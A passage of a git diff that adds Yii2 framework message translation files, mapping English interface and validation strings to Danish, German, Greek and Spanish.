{delta, plural, =1{a day} other{# days}}' => 'om {delta, plural, =1{en dag} other{# dage}}', + 'in {delta, plural, =1{a minute} other{# minutes}}' => 'om {delta, plural, =1{et minut} other{# minutter}}', + 'in {delta, plural, =1{a month} other{# months}}' => 'om {delta, plural, =1{en måned} other{# måneder}}', + 'in {delta, plural, =1{a second} other{# seconds}}' => 'om {delta, plural, =1{et sekund} other{# sekunder}}', + 'in {delta, plural, =1{a year} other{# years}}' => 'om {delta, plural, =1{et år} other{# år}}', + 'in {delta, plural, =1{an hour} other{# hours}}' => 'om {delta, plural, =1{en time} other{# timer}}', + 'the input value' => 'inputværdien', + '{attribute} "{value}" has already been taken.' => '{attribute} "{value}" er allerede i brug.', + '{attribute} cannot be blank.' => '{attribute} må ikke være tom.', + '{attribute} is invalid.' => '{attribute} er ugyldig.', + '{attribute} is not a valid URL.' => '{attribute} er ikke en gyldig URL.', + '{attribute} is not a valid email address.' => '{attribute} er ikke en gyldig emailadresse.', + '{attribute} must be "{requiredValue}".' => '{attribute} skal være "{requiredValue}".', + '{attribute} must be a number.' => '{attribute} skal være et nummer.', + '{attribute} must be a string.' => '{attribute} skal være en tekst-streng.', + '{attribute} must be an integer.' => '{attribute} skal være et heltal.', + '{attribute} must be either "{true}" or "{false}".' => '{attribute} skal være enten "{true}" eller "{false}".', + '{attribute} must be greater than "{compareValue}".' => '{attribute} skal være større end "{compareValue}".', + '{attribute} must be greater than or equal to "{compareValue}".' => '{attribute} skal være større end eller lig med "{compareValue}".', + '{attribute} must be less than "{compareValue}".' => '{attribute} skal være mindre end "{compareValue}".', + '{attribute} must be less than or equal to "{compareValue}".' => '{attribute} skal være mindre end eller lig med "{compareValue}".', + '{attribute} must be no greater than {max}.' => '{attribute} må ikke være større end {max}.', + '{attribute} must be no less than {min}.' => '{attribute} må ikke være mindre end {min}.', + '{attribute} must be repeated exactly.' => '{attribute} skal være gentaget præcist.', + '{attribute} must not be equal to "{compareValue}".' => '{attribute} må ikke være lig med "{compareValue}".', + '{attribute} should contain at least {min, number} {min, plural, one{character} other{characters}}.' => '{attribute} skal mindst indeholde {min, number} {min, plural, one{tegn} other{tegn}}.', + '{attribute} should contain at most {max, number} {max, plural, one{character} other{characters}}.' => '{attribute} skal højst indeholde {min, number} {min, plural, one{tegn} other{tegn}}.', + '{attribute} should contain {length, number} {length, plural, one{character} other{characters}}.' => '{attribute} skal indeholde {length, number} {length, plural, one{tegn} other{tegn}}.', + '{delta, plural, =1{a day} other{# days}} ago' => 'for {delta, plural, =1{en dag} other{# dage}} siden', + '{delta, plural, =1{a minute} other{# minutes}} ago' => 'for {delta, plural, =1{et minut} other{# minutter}} siden', + '{delta, plural, =1{a month} other{# months}} ago' => 'for {delta, plural, =1{en måned} other{# måneder}} siden', + '{delta, plural, =1{a second} other{# seconds}} ago' => 'for {delta, plural, =1{et sekund} other{# sekunder}} siden', + '{delta, plural, =1{a year} other{# years}} ago' => 'for {delta, plural, =1{et år} other{# år}} siden', + '{delta, plural, =1{an hour} other{# hours}} ago' => 'for {delta, plural, =1{en time} other{# timer}} siden', + '{n, plural, =1{# byte} other{# bytes}}' => '{n, plural, =1{# byte} other{# bytes}}', + '{n, plural, =1{# gigabyte} other{# gigabytes}}' => '{n, plural, =1{# gigabyte} other{# gigabytes}}', + '{n, plural, =1{# kilobyte} other{# kilobytes}}' => '{n, plural, =1{# kilobyte} other{# kilobytes}}', + '{n, plural, =1{# megabyte} other{# megabytes}}' => '{n, plural, =1{# megabyte} other{# megabytes}}', + '{n, plural, =1{# petabyte} other{# petabytes}}' => '{n, plural, =1{# petabyte} other{# petabytes}}', + '{n, plural, =1{# terabyte} other{# terabytes}}' => '{n, plural, =1{# terabyte} other{# terabytes}}', + '{n} B' => '{n} B', + '{n} GB' => '{n} GB', + '{n} KB' => '{n} KB', + '{n} MB' => '{n} MB', + '{n} PB' => '{n} PB', + '{n} TB' => '{n} TB', +); diff --git a/php/yii2/basic/vendor/yiisoft/yii2/messages/de/yii.php b/php/yii2/basic/vendor/yiisoft/yii2/messages/de/yii.php new file mode 100644 index 00000000..00b0f0f1 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/messages/de/yii.php @@ -0,0 +1,117 @@ + 'gerade jetzt', + '(not set)' => '(nicht gesetzt)', + 'An internal server error occurred.' => 'Es ist ein interner Serverfehler aufgetreten.', + 'Are you sure you want to delete this item?' => 'Wollen Sie diesen Eintrag wirklich löschen?', + 'Delete' => 'Löschen', + 'Error' => 'Fehler', + 'File upload failed.' => 'Das Hochladen der Datei ist gescheitert.', + 'Home' => 'Home', + 'Invalid data received for parameter "{param}".' => 'Ungültige Daten erhalten für Parameter "{param}".', + 'Login Required' => 'Anmeldung erforderlich', + 'Missing required arguments: {params}' => 'Pflichtargumente fehlen: {params}', + 'Missing required parameters: {params}' => 'Pflichtparameter fehlen: {params}', + 'No' => 'Nein', + 'No help for unknown command "{command}".' => 'Es gibt keine Hilfe für den unbekannten Befehl "{command}".', + 'No help for unknown sub-command "{command}".' => 'Es gibt keine Hilfe für den unbekannten Unterbefehl "{command}".', + 'No results found.' => 'Keine Ergebnisse gefunden', + 'Only files with these MIME types are allowed: {mimeTypes}.' => 'Es sind nur Dateien mit folgenden MIME-Typen erlaubt: {mimeTypes}.', + 'Only files with these extensions are allowed: {extensions}.' => 'Es sind nur Dateien mit folgenden Dateierweiterungen erlaubt: {extensions}.', + 'Page not found.' => 'Seite nicht gefunden.', + 'Please fix the following errors:' => 'Bitte korrigieren Sie die folgenden Fehler:', + 'Please upload a file.' => 'Bitte laden Sie eine Datei hoch.', + 'Showing {begin, number}-{end, number} of {totalCount, number} {totalCount, plural, one{item} other{items}}.' => 'Zeige {begin, number}-{end, number} von {totalCount, number} {totalCount, plural, one{Eintrag} other{Einträgen}}.', + 'The file "{file}" is not an image.' => 'Die Datei "{file}" ist kein Bild.', + 'The file "{file}" is too big. Its size cannot exceed {limit, number} {limit, plural, one{byte} other{bytes}}.' => 'Die Datei "{file}" ist zu groß. Es {limit, plural, one{ist} other{sind}} maximal {limit, number} {limit, plural, one{Byte} other{Bytes}} erlaubt.', + 'The file "{file}" is too small. Its size cannot be smaller than {limit, number} {limit, plural, one{byte} other{bytes}}.' => 'Die Datei "{file}" ist zu klein. Es {limit, plural, one{ist} other{sind}} mindestens {limit, number} {limit, plural, one{Byte} other{Bytes}} erforderlich.', + 'The format of {attribute} is invalid.' => 'Das Format von {attribute} ist ungültig.', + 'The image "{file}" is too large. The height cannot be larger than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'Das Bild "{file}" ist zu groß. Es darf maximal {limit, number} Pixel hoch sein.', + 'The image "{file}" is too large. The width cannot be larger than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'Das Bild "{file}" ist zu groß. Es darf maximal {limit, number} Pixel breit sein.', + 'The image "{file}" is too small. The height cannot be smaller than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'Das Bild "{file}" ist zu klein. Es muss mindestens {limit, number} Pixel hoch sein.', + 'The image "{file}" is too small. The width cannot be smaller than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'Das Bild "{file}" ist zu klein. Es muss mindestens {limit, number} Pixel breit sein.', + 'The requested view "{name}" was not found.' => 'Die View-Datei "{name}" konnte nicht gefunden werden.', + 'The verification code is incorrect.' => 'Der Prüfcode ist falsch.', + 'Total {count, number} {count, plural, one{item} other{items}}.' => 'Insgesamt {count, number} {count, plural, one{Eintrag} other{Einträge}}.', + 'Unable to verify your data submission.' => 'Es ist nicht möglich, Ihre Dateneingabe zu prüfen.', + 'Unknown command "{command}".' => 'Unbekannter Befehl "{command}".', + 'Unknown option: --{name}' => 'Unbekannte Option: --{name}', + 'Update' => 'Bearbeiten', + 'View' => 'Anzeigen', + 'Yes' => 'Ja', + 'You are not allowed to perform this action.' => 'Sie dürfen diese Aktion nicht durchführen.', + 'You can upload at most {limit, number} {limit, plural, one{file} other{files}}.' => 'Sie können maximal {limit, number} {limit, plural, one{eine Datei} other{# Dateien}} hochladen.', + 'in {delta, plural, =1{a day} other{# days}}' => 'in {delta, plural, =1{einem Tag} other{# Tagen}}', + 'in {delta, plural, =1{a minute} other{# minutes}}' => 'in {delta, plural, =1{einer Minute} other{# Minuten}}', + 'in {delta, plural, =1{a month} other{# months}}' => 'in {delta, plural, =1{einem Monat} other{# Monaten}}', + 'in {delta, plural, =1{a second} other{# seconds}}' => 'in {delta, plural, =1{einer Sekunde} other{# Sekunden}}', + 'in {delta, plural, =1{a year} other{# years}}' => 'in {delta, plural, =1{einem Jahr} other{# Jahren}}', + 'in {delta, plural, =1{an hour} other{# hours}}' => 'in {delta, plural, =1{einer Stunde} other{# Stunden}}', + 'the input value' => 'der eingegebene Wert', + '{attribute} "{value}" has already been taken.' => '{attribute} "{value}" wird bereits verwendet.', + '{attribute} cannot be blank.' => '{attribute} darf nicht leer sein.', + '{attribute} is invalid.' => '{attribute} ist ungültig.', + '{attribute} is not a valid URL.' => '{attribute} ist keine gültige URL.', + '{attribute} is not a valid email address.' => '{attribute} ist keine gültige Emailadresse.', + '{attribute} must be "{requiredValue}".' => '{attribute} muss den Wert {requiredValue} haben.', + '{attribute} must be a number.' => '{attribute} muss eine Zahl sein.', + '{attribute} must be a string.' => '{attribute} muss eine Zeichenkette sein.', + '{attribute} must be an integer.' => '{attribute} muss eine Ganzzahl sein.', + '{attribute} must be either "{true}" or "{false}".' => '{attribute} muss entweder "{true}" oder "{false}" sein.', + '{attribute} must be greater than "{compareValue}".' => '{attribute} muss größer als "{compareValue}" sein.', + '{attribute} must be greater than or equal to "{compareValue}".' => '{attribute} muss größer oder gleich "{compareValue}" sein.', + '{attribute} must be less than "{compareValue}".' => '{attribute} muss kleiner als "{compareValue}" sein.', + '{attribute} must be less than or equal to "{compareValue}".' => '{attribute} muss kleiner oder gleich "{compareValue}" sein.', + '{attribute} must be no greater than {max}.' => '{attribute} darf nicht größer als {max} sein.', + '{attribute} must be no less than {min}.' => '{attribute} darf nicht kleiner als {min} sein.', + '{attribute} must be repeated exactly.' => '{attribute} muss genau wiederholt werden.', + '{attribute} must not be equal to "{compareValue}".' => '{attribute} darf nicht "{compareValue}" sein.', + '{attribute} should contain at least {min, number} {min, plural, one{character} other{characters}}.' => '{attribute} muss mindestens {min, number} Zeichen enthalten.', + '{attribute} should contain at most {max, number} {max, plural, one{character} other{characters}}.' => '{attribute} darf maximal {max, number} Zeichen enthalten.', + '{attribute} should contain {length, number} {length, plural, one{character} other{characters}}.' => '{attribute} muss aus genau {length, number} Zeichen bestehen.', + '{delta, plural, =1{a day} other{# days}} ago' => 'vor {delta, plural, =1{einem Tag} other{# Tagen}}', + '{delta, plural, =1{a minute} other{# minutes}} ago' => 'vor {delta, plural, =1{einer Minute} other{# Minuten}}', + '{delta, plural, =1{a month} other{# months}} ago' => 'vor {delta, plural, =1{einem Monat} other{# Monaten}}', + '{delta, plural, =1{a second} other{# seconds}} ago' => 'vor {delta, plural, =1{einer Sekunde} other{# Sekunden}}', + '{delta, plural, =1{a year} other{# years}} ago' => 'vor {delta, plural, =1{einem Jahr} other{# Jahren}}', + '{delta, plural, =1{an hour} other{# hours}} ago' => 'vor {delta, plural, =1{einer Stunde} other{# Stunden}}', + '{nFormatted} B' => '{nFormatted} B', + '{nFormatted} GB' => '{nFormatted} GB', + '{nFormatted} GiB' => '{nFormatted} GiB', + '{nFormatted} KB' => '{nFormatted} KB', + '{nFormatted} KiB' => '{nFormatted} KiB', + '{nFormatted} MB' => '{nFormatted} MB', + '{nFormatted} MiB' => '{nFormatted} MiB', + '{nFormatted} PB' => '{nFormatted} PB', + '{nFormatted} PiB' => '{nFormatted} PiB', + '{nFormatted} TB' => '{nFormatted} TB', + '{nFormatted} TiB' => '{nFormatted} TiB', + '{nFormatted} {n, plural, =1{byte} other{bytes}}' => '{nFormatted} Byte', + '{nFormatted} {n, plural, =1{gibibyte} other{gibibytes}}' => '{nFormatted} GibiByte', + '{nFormatted} {n, plural, =1{gigabyte} other{gigabytes}}' => '{nFormatted} Gigabyte', + '{nFormatted} {n, plural, =1{kibibyte} other{kibibytes}}' => '{nFormatted} KibiByte', + '{nFormatted} {n, plural, =1{kilobyte} other{kilobytes}}' => '{nFormatted} Kilobyte', + '{nFormatted} {n, plural, =1{mebibyte} other{mebibytes}}' => '{nFormatted} MebiByte', + '{nFormatted} {n, plural, =1{megabyte} other{megabytes}}' => '{nFormatted} Megabyte', + '{nFormatted} {n, plural, =1{pebibyte} other{pebibytes}}' => '{nFormatted} PebiByte', + '{nFormatted} {n, plural, =1{petabyte} other{petabytes}}' => '{nFormatted} Petabyte', + '{nFormatted} {n, plural, =1{tebibyte} other{tebibytes}}' => '{nFormatted} TebiByte', + '{nFormatted} {n, plural, =1{terabyte} other{terabytes}}' => '{nFormatted} Terabyte', +]; diff --git a/php/yii2/basic/vendor/yiisoft/yii2/messages/el/yii.php b/php/yii2/basic/vendor/yiisoft/yii2/messages/el/yii.php new file mode 100644 index 00000000..ce53d7bd --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/messages/el/yii.php @@ -0,0 +1,117 @@ + 'Είστε σίγουροι για τη διαγραφή του αντικειμένου;', + 'Only files with these MIME types are allowed: {mimeTypes}.' => 'Επιτρέπονται μόνο αρχεία με τους ακόλουθους τύπους MIME: {mimeTypes}.', + 'The requested view "{name}" was not found.' => 'Δε βρέθηκε η αιτούμενη όψη "{name}".', + 'in {delta, plural, =1{a day} other{# days}}' => 'σε {delta, plural, =1{μία ημέρα} other{# ημέρες}}', + 'in {delta, plural, =1{a minute} other{# minutes}}' => 'σε {delta, plural, =1{ένα λεπτό} other{# λεπτά}}', + 'in {delta, plural, =1{a month} other{# months}}' => 'σε {delta, plural, =1{ένα μήνα} other{# μήνες}}', + 'in {delta, plural, =1{a second} other{# seconds}}' => 'σε {delta, plural, =1{ένα δευτερόλεπτο} other{# δευτερόλεπτα}}', + 'in {delta, plural, =1{a year} other{# years}}' => 'σε {delta, plural, =1{ένα έτος} other{# έτη}}', + 'in {delta, plural, =1{an hour} other{# hours}}' => 'σε {delta, plural, =1{μία ώρα} other{# ώρες}}', + 'just now' => 'μόλις τώρα', + '{delta, plural, =1{a day} other{# days}} ago' => 'πριν {delta, plural, =1{μία ημέρα} other{# ημέρες}}', + '{delta, plural, =1{a minute} other{# minutes}} ago' => 'πριν {delta, plural, =1{ένα λεπτό} other{# λεπτά}}', + '{delta, plural, =1{a month} other{# months}} ago' => 'πριν {delta, plural, =1{ένα μήνα} other{# μήνες}}', + '{delta, plural, =1{a second} other{# seconds}} ago' => 'πριν {delta, plural, =1{ένα δευτερόλεπτο} other{# δευτερόλεπτα}}', + '{delta, plural, =1{a year} other{# years}} ago' => 'πριν {delta, plural, =1{ένα έτος} other{# έτη}}', + '{delta, plural, =1{an hour} other{# hours}} ago' => 'πριν {delta, plural, =1{μία ώρα} other{# ώρες}}', + '{nFormatted} B' => '{nFormatted} B', + '{nFormatted} GB' => '{nFormatted} GB', + '{nFormatted} GiB' => '{nFormatted} GiB', + '{nFormatted} KB' => '{nFormatted} KB', + '{nFormatted} KiB' => '{nFormatted} KiB', + '{nFormatted} MB' => '{nFormatted} MB', + '{nFormatted} MiB' => '{nFormatted} MiB', + '{nFormatted} PB' => '{nFormatted} PB', + '{nFormatted} PiB' => '{nFormatted} PiB', + '{nFormatted} TB' => '{nFormatted} TB', + '{nFormatted} TiB' => '{nFormatted} TiB', + '{nFormatted} {n, plural, =1{byte} other{bytes}}' => '{nFormatted} {n, plural, =1{byte} other{bytes}}', + '{nFormatted} {n, plural, =1{gibibyte} other{gibibytes}}' => '{nFormatted} {n, plural, =1{gibibyte} other{gibibytes}}', + '{nFormatted} {n, plural, =1{gigabyte} other{gigabytes}}' => '{nFormatted} {n, plural, =1{gigabyte} other{gigabytes}}', + '{nFormatted} {n, plural, =1{kibibyte} other{kibibytes}}' => '{nFormatted} {n, plural, =1{kibibyte} other{kibibytes}}', + '{nFormatted} {n, plural, =1{kilobyte} other{kilobytes}}' => '{nFormatted} {n, plural, =1{kilobyte} other{kilobytes}}', + '{nFormatted} {n, plural, =1{mebibyte} other{mebibytes}}' => '{nFormatted} {n, plural, =1{mebibyte} other{mebibytes}}', + '{nFormatted} {n, plural, =1{megabyte} other{megabytes}}' => '{nFormatted} {n, plural, =1{megabyte} other{megabytes}}', + '{nFormatted} {n, plural, =1{pebibyte} other{pebibytes}}' => '{nFormatted} {n, plural, =1{pebibyte} other{pebibytes}}', + '{nFormatted} {n, plural, =1{petabyte} other{petabytes}}' => '{nFormatted} {n, plural, =1{petabyte} other{petabytes}}', + '{nFormatted} {n, plural, =1{tebibyte} other{tebibytes}}' => '{nFormatted} {n, plural, =1{tebibyte} other{tebibytes}}', + '{nFormatted} {n, plural, =1{terabyte} other{terabytes}}' => '{nFormatted} {n, plural, =1{terabyte} other{terabytes}}', + 'No help for unknown command "{command}".' => 'Δεν υπάρχει βοήθεια για την άγνωστη εντολή "{command}".', + 'No help for unknown sub-command "{command}".' => 'Δεν υπάρχει βοήθεια για την άγνωστη υπό-εντολή "{command}".', + 'Unknown command "{command}".' => 'Άγνωστη εντολή "{command}".', + '(not set)' => '(μη ορισμένο)', + 'An internal server error occurred.' => 'Υπήρξε ένα εσωτερικό σφάλμα του διακομιστή.', + 'Delete' => 'Διαγραφή', + 'Error' => 'Σφάλμα', + 'File upload failed.' => 'Η μεταφόρτωση απέτυχε.', + 'Home' => 'Αρχική', + 'Invalid data received for parameter "{param}".' => 'Μη έγκυρα δεδομένα για την παράμετρο "{param}".', + 'Login Required' => 'Απαιτείται είσοδος', + 'Missing required arguments: {params}' => 'Απουσιάζουν απαραίτητα ορίσματα: {params}', + 'Missing required parameters: {params}' => 'Απουσιάζουν απαραίτητες παράμετροι: {params}', + 'No' => 'Όχι', + 'No results found.' => 'Δε βρέθηκαν αποτελέσματα.', + 'Only files with these extensions are allowed: {extensions}.' => 'Επιτρέπονται αρχεία μόνο με καταλήξεις: {extensions}.', + 'Page not found.' => 'Η σελίδα δε βρέθηκε.', + 'Please fix the following errors:' => 'Παρακαλώ διορθώστε τα παρακάτω σφάλματα:', + 'Please upload a file.' => 'Παρακαλώ μεταφορτώστε ένα αρχείο.', + 'Showing {begin, number}-{end, number} of {totalCount, number} {totalCount, plural, one{item} other{items}}.' => 'Εμφανίζονται {begin, number}-{end, number} από {totalCount, number}.', + 'The file "{file}" is not an image.' => 'Το αρχείο «{file}» δεν είναι εικόνα.', + 'The file "{file}" is too big. Its size cannot exceed {limit, number} {limit, plural, one{byte} other{bytes}}.' => 'Το αρχείο «{file}» είναι πολύ μεγάλο . Το μέγεθός του δεν μπορεί να είναι πάνω από {limit, number} {limit, plural, one{byte} other{bytes}}.', + 'The file "{file}" is too small. Its size cannot be smaller than {limit, number} {limit, plural, one{byte} other{bytes}}.' => 'Το αρχείο «{file}» είναι πολύ μικρό. Το μέγεθός του δεν μπορεί να είναι μικρότερο από {limit, number} {limit, plural, one{byte} few{bytes} many{bytes} other{bytes}}.', + 'The format of {attribute} is invalid.' => 'Η μορφή του «{attribute}» δεν είναι έγκυρη.', + 'The image "{file}" is too large. The height cannot be larger than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'Η εικόνα «{file}» είναι πολύ μεγάλη. Το ύψος δεν μπορεί να είναι μεγαλύτερο από {limit, number} {limit, plural, one{pixel} few{pixels} many{pixels} other{pixels}}.', + 'The image "{file}" is too large. The width cannot be larger than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'Η εικόνα «{file}» είναι πολύ μεγάλη. Το πλάτος δεν μπορεί να είναι μεγαλύτερο από {limit, number} {limit, plural, one{pixel} few{pixels} many{pixels} other{pixels}}.', + 'The image "{file}" is too small. The height cannot be smaller than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'Η εικόνα «{file}» είναι πολύ μικρή. To ύψος δεν μπορεί να είναι μικρότερο από {limit, number} {limit, plural, one{pixel} few{pixels} many{pixels} other{pixels}}.', + 'The image "{file}" is too small. The width cannot be smaller than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'Η εικόνα «{file}» είναι πολύ μικρή. Το πλάτος του δεν μπορεί να είναι μικρότερο από {limit, number} {limit, plural, one{pixel} few{pixels} many{pixels} other{pixels}}.', + 'The verification code is incorrect.' => 'Ο κωδικός επαλήθευσης είναι εσφαλμένος.', + 'Total {count, number} {count, plural, one{item} other{items}}.' => 'Συνολικά {count, number} {count, plural, one{αντικείμενο} few{αντικείμενα} many{αντικείμενα} other{αντικείμενα}}.', + 'Unable to verify your data submission.' => 'Δεν ήταν δυνατή η επαλήθευση των απεσταλμένων δεδομένων.', + 'Unknown option: --{name}' => 'Άγνωστη επιλογή: --{name}', + 'Update' => 'Ενημέρωση', + 'View' => 'Προβολή', + 'Yes' => 'Ναι', + 'You are not allowed to perform this action.' => 'Δεν επιτρέπεται να εκτελέσετε αυτή την ενέργεια.', + 'You can upload at most {limit, number} {limit, plural, one{file} other{files}}.' => 'Μπορείτε να ανεβάσετε το πολύ {limit, number} {limit, plural, one{αρχείο} few{αρχεία} many{αρχεία} other{αρχεία}}.', + 'the input value' => 'η τιμή εισόδου', + '{attribute} "{value}" has already been taken.' => 'Το {attribute} «{value}» έχει ήδη καταχωρηθεί.', + '{attribute} cannot be blank.' => 'Το «{attribute}» δεν μπορεί να είναι κενό.', + '{attribute} is invalid.' => 'Το «{attribute}» δεν είναι έγκυρο.', + '{attribute} is not a valid URL.' => 'Το «{attribute}» δεν είναι έγκυρη διεύθυνση URL.', + '{attribute} is not a valid email address.' => 'Η διεύθυνση email «{attribute}» δεν είναι έγκυρη.', + '{attribute} must be "{requiredValue}".' => 'Το «{attribute}» πρέπει να είναι «{requiredValue}».', + '{attribute} must be a number.' => 'Το «{attribute}» πρέπει να είναι αριθμός.', + '{attribute} must be a string.' => 'Το «{attribute}» πρέπει να είναι συμβολοσειρά.', + '{attribute} must be an integer.' => 'Το «{attribute}» πρέπει να είναι ακέραιος.', + '{attribute} must be either "{true}" or "{false}".' => 'Το «{attribute}» πρέπει να είναι «{true}» ή «{false}».', + '{attribute} must be greater than "{compareValue}".' => 'Το «{attribute}» πρέπει να είναι μεγαλύτερο από «{compareValue}».', + '{attribute} must be greater than or equal to "{compareValue}".' => 'Το «{attribute}» πρέπει να είναι μεγαλύτερο ή ίσο με «{compareValue}».', + '{attribute} must be less than "{compareValue}".' => 'Το «{attribute}» πρέπει να είναι μικρότερο από «{compareValue}».', + '{attribute} must be less than or equal to "{compareValue}".' => 'Το «{attribute}» πρέπει να είναι μικρότερο ή ίσο με «{compareValue}».', + '{attribute} must be no greater than {max}.' => 'Το «{attribute}» δεν πρέπει να ξεπερνά το {max}.', + '{attribute} must be no less than {min}.' => 'Το «{attribute}» δεν πρέπει να είναι λιγότερο από {min}.', + '{attribute} must be repeated exactly.' => 'Το «{attribute}» πρέπει να επαναληφθεί ακριβώς.', + '{attribute} must not be equal to "{compareValue}".' => 'Το «{attribute}» δεν πρέπει να είναι ίσο με «{compareValue}».', + '{attribute} should contain at least {min, number} {min, plural, one{character} other{characters}}.' => 'Το «{attribute}» πρέπει να περιέχει το λιγότερο {min, number} {min, plural, one{χαρακτήρα} few{χαρακτήρες} many{χαρακτήρες} other{χαρακτήρες}}.', + '{attribute} should contain at most {max, number} {max, plural, one{character} other{characters}}.' => 'Το «{attribute}» πρέπει να περιέχει το πολύ {max, number} {max, plural, one{χαρακτήρα} few{χαρακτήρες} many{χαρακτήρες} other{χαρακτήρες}}.', + '{attribute} should contain {length, number} {length, plural, one{character} other{characters}}.' => 'Το «{attribute}» πρέπει να περιέχει {length, number} {length, plural, one{χαρακτήρα} few{χαρακτήρες} many{χαρακτήρες} other{χαρακτήρες}}.', +]; diff --git a/php/yii2/basic/vendor/yiisoft/yii2/messages/es/yii.php b/php/yii2/basic/vendor/yiisoft/yii2/messages/es/yii.php new file mode 100644 index 00000000..01699bbd --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/messages/es/yii.php @@ -0,0 +1,105 @@ + '(no definido)', + 'An internal server error occurred.' => 'Hubo un error interno del servidor.', + 'Are you sure you want to delete this item?' => '¿Está seguro de eliminar este elemento?', + 'Delete' => 'Eliminar', + 'Error' => 'Error', + 'File upload failed.' => 'Falló la subida del archivo.', + 'Home' => 'Inicio', + 'Invalid data received for parameter "{param}".' => 'Se recibieron datos erróneos para el parámetro "{param}"', + 'Login Required' => 'Login Requerido', + 'Missing required arguments: {params}' => 'Argumentos requeridos ausentes: {params}', + 'Missing required parameters: {params}' => 'Parámetros requeridos ausentes: {params}', + 'No' => 'No', + 'No help for unknown command "{command}".' => 'No existe ayuda para el comando desconocido "{command}"', + 'No help for unknown sub-command "{command}".' => 'No existe ayuda para el sub-comando desconocido "{command}"', + 'No results found.' => 'No se encontraron resultados.', + 'Only files with these MIME types are allowed: {mimeTypes}.' => 'Sólo se aceptan archivos con los siguientes tipos MIME: {mimeTypes}.', + 'Only files with these extensions are allowed: {extensions}.' => 'Sólo se aceptan archivos con las siguientes extensiones: {extensions}', + 'Page not found.' => 'Página no entontrada.', + 'Please fix the following errors:' => 'Por favor corrija los siguientes errores:', + 'Please upload a file.' => 'Por favor suba un archivo.', + 'Showing {begin, number}-{end, number} of {totalCount, number} {totalCount, plural, one{item} other{items}}.' => 'Mostrando {begin, number}-{end, number} de {totalCount, number} {totalCount, plural, one{elemento} other{elementos}}.', + 'The file "{file}" is not an image.' => 'El archivo "{file}" no es una imagen.', + 'The file "{file}" is too big. Its size cannot exceed {limit, number} {limit, plural, one{byte} other{bytes}}.' => 'El archivo "{file}" es demasiado grande. Su tamaño no puede exceder {limit, number} {limit, plural, one{byte} other{bytes}}.', + 'The file "{file}" is too small. Its size cannot be smaller than {limit, number} {limit, plural, one{byte} other{bytes}}.' => 'El archivo "{file}" es demasiado pequeño. Su tamaño no puede ser menor a {limit, number} {limit, plural, one{byte} other{bytes}}.', + 'The format of {attribute} is invalid.' => 'El formato de {attribute} es inválido.', + 'The image "{file}" is too large. The height cannot be larger than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'La imagen "{file}" es demasiado grande. La altura no puede ser mayor a {limit, number} {limit, plural, one{píxel} other{píxeles}}.', + 'The image "{file}" is too large. The width cannot be larger than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'La imagen "{file}" es demasiado grande. La anchura no puede ser mayor a {limit, number} {limit, plural, one{píxel} other{píxeles}}.', + 'The image "{file}" is too small. The height cannot be smaller than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'La imagen "{file}" es demasiado pequeña. La altura no puede ser menor a {limit, number} {limit, plural, one{píxel} other{píxeles}}.', + 'The image "{file}" is too small. The width cannot be smaller than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'La imagen "{file}" es demasiado pequeña. La anchura no puede ser menor a {limit, number} {limit, plural, one{píxel} other{píxeles}}.', + 'The verification code is incorrect.' => 'El código de verificación es incorrecto.', + 'Total {count, number} {count, plural, one{item} other{items}}.' => 'Total {count, number} {count, plural, one{elemento} other{elementos}}.', + 'Unable to verify your data submission.' => 'Incapaz de verificar los datos enviados.', + 'Unknown command "{command}".' => 'Comando desconocido "{command}".', + 'Unknown option: --{name}' => 'Opción desconocida: --{name}', + 'Update' => 'Actualizar', + 'View' => 'Ver', + 'Yes' => 'Sí', + 'You are not allowed to perform this action.' => 'No tiene permitido ejecutar esta acción.', + 'You can upload at most {limit, number} {limit, plural, one{file} other{files}}.' => 'Puedes subir como máximo {limit, number} {limit, plural, one{archivo} other{archivos}}.', + 'in {delta, plural, =1{a day} other{# days}}' => 'en {delta, plural, =1{un día} other{# días}}', + 'in {delta, plural, =1{a minute} other{# minutes}}' => 'en {delta, plural, =1{un minuto} other{# minutos}}', + 'in {delta, plural, =1{a month} other{# months}}' => 'en {delta, plural, =1{un mes} other{# meses}}', + 'in {delta, plural, =1{a second} other{# seconds}}' => 'en {delta, plural, =1{un segundo} other{# segundos}}', + 'in {delta, plural, =1{a year} other{# years}}' => 'en {delta, plural, =1{un año} other{# años}}', + 'in {delta, plural, =1{an hour} other{# hours}}' => 'en {delta, plural, =1{una hora} other{# horas}}', + 'the input value' => 'el valor de entrada', + '{attribute} "{value}" has already been taken.' => '{attribute} "{value}" ya ha sido utilizado.', + '{attribute} cannot be blank.' => '{attribute} no puede estar vacío.', + '{attribute} is invalid.' => '{attribute} es inválido.', + '{attribute} is not a valid URL.' => '{attribute} no es una URL válida.', + '{attribute} is not a valid email address.' => '{attribute} no es una dirección de correo válida.', + '{attribute} must be "{requiredValue}".' => '{attribute} debe ser "{requiredValue}".', + '{attribute} must be a number.' => '{attribute} debe ser un número.', + '{attribute} must be a string.' => '{attribute} debe ser una cadena de caracteres.', + '{attribute} must be an integer.' => '{attribute} debe ser un número entero.', + '{attribute} must be either "{true}" or "{false}".' => '{attribute} debe ser "{true}" o "{false}".', + '{attribute} must be greater than "{compareValue}".' => '{attribute} debe ser mayor a "{compareValue}', + '{attribute} must be greater than or equal to "{compareValue}".' => '{attribute} debe ser mayor o igual a "{compareValue}".', + '{attribute} must be less than "{compareValue}".' => '{attribute} debe ser menor a "{compareValue}".', + '{attribute} must be less than or equal to "{compareValue}".' => '{attribute} debe ser menor o igual a "{compareValue}".', + '{attribute} must be no greater than {max}.' => '{attribute} no debe ser mayor a {max}.', + '{attribute} must be no less than {min}.' => '{attribute} no debe ser menor a {min}.', + '{attribute} must be repeated exactly.' => '{attribute} debe ser repetido exactamente igual.', + '{attribute} must not be equal to "{compareValue}".' => '{attribute} no debe ser igual a "{compareValue}".', + '{attribute} should contain at least {min, number} 